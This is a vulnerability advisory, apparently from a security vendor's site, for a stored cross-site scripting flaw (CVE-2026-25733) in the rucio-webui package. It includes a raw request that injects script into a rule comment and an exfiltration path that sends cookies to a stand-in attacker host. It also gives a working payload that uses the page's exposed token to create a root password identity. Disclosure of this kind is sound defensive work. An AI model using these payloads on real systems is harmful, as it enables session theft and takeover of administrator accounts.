CVE-2026-25733

CVE-2026-25733 is a high-severity cross-site scripting (XSS) vulnerability in rucio-webui (pip), affecting versions < 35.8.3. It is fixed in 35.8.3, 38.5.4, 39.3.1.

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

  • User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
    (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
  • Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment

Reviewing rule creation requests

XSS Payload triggering on rule review

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-25733 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (35.8.3, 38.5.4, 39.3.1); upgrading removes the vulnerable code path.

Affected versions

rucio-webui (< 35.8.3) rucio-webui (>= 36.0.0rc1, < 38.5.4) rucio-webui (>= 39.0.0rc1, < 39.3.1)

Security releases

rucio-webui → 35.8.3 (pip) rucio-webui → 38.5.4 (pip) rucio-webui → 39.3.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

rucio-webui to 35.8.3 or later; rucio-webui to 38.5.4 or later; rucio-webui to 39.3.1 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-25733? CVE-2026-25733 is a high-severity cross-site scripting (XSS) vulnerability in rucio-webui (pip), affecting versions < 35.8.3. It is fixed in 35.8.3, 38.5.4, 39.3.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-25733? CVE-2026-25733 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of rucio-webui are affected by CVE-2026-25733? rucio-webui (pip) versions < 35.8.3 is affected.
  4. Is there a fix for CVE-2026-25733? Yes. CVE-2026-25733 is fixed in 35.8.3, 38.5.4, 39.3.1. Upgrade to this version or later.
  5. Is CVE-2026-25733 exploitable, and should I be worried? Whether CVE-2026-25733 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-25733 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-25733?
    • Upgrade rucio-webui to 35.8.3 or later
    • Upgrade rucio-webui to 38.5.4 or later
    • Upgrade rucio-webui to 39.3.1 or later

Other vulnerabilities in rucio-webui

CVE-2026-25736CVE-2026-25735CVE-2026-25734CVE-2026-25733CVE-2026-25138

Stop the waste.
Protect your environment with Kodem.